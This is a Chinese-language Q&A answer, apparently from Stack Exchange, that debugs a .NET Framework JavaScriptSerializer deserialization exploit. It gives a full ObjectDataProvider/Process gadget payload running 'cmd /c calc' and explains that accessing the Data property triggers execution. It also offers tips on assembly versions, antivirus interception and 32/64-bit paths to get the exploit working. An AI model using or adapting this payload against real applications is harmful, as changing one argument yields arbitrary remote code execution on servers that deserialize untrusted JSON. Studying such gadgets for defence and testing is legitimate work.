.NET Framework 4.8中JavaScriptSerializer RCE攻击验证失效问题
问题原因与解决方案
你的payload结构本身无问题,但JavaScriptSerializer仅完成对象的实例化与属性赋值,不会主动触发ObjectDataProvider的方法执行。ObjectDataProvider通过MethodName指定的方法,只有当它的Data属性被访问时才会被调用。
修复后的测试代码
修改代码,在反序列化后主动访问Data属性,触发Start方法执行:
using System.Web.Script.Serialization; using System.Windows.Data; JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver()); string maliciousPayload = @"{ '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'ObjectInstance':{ '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'StartInfo': { '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'FileName':'cmd', 'Arguments':'/c calc' } } }"; // 反序列化得到ObjectDataProvider实例 var odp = (ObjectDataProvider)js.Deserialize(maliciousPayload, typeof(ObjectDataProvider)); // 访问Data属性触发Start方法执行 var _ = odp.Data;
额外检查点
- 程序集版本匹配:确保项目引用的
PresentationFramework和System程序集版本与payload中指定的Version=4.0.0.0一致;若使用更高版本的.NET Framework(如4.8),可将版本号改为对应版本或直接省略(SimpleTypeResolver可自动匹配)。 - 运行权限验证:确认程序有足够权限启动外部进程,避免UAC或杀毒软件拦截计算器进程。
- 系统架构适配:若在64位系统上运行32位程序,可将
FileName改为C:\Windows\SysWOW64\cmd.exe,确保调用对应架构的命令行工具。
内容的提问来源于stack exchange,提问作者Max Strandberg
相关产品推荐
相关产品推荐

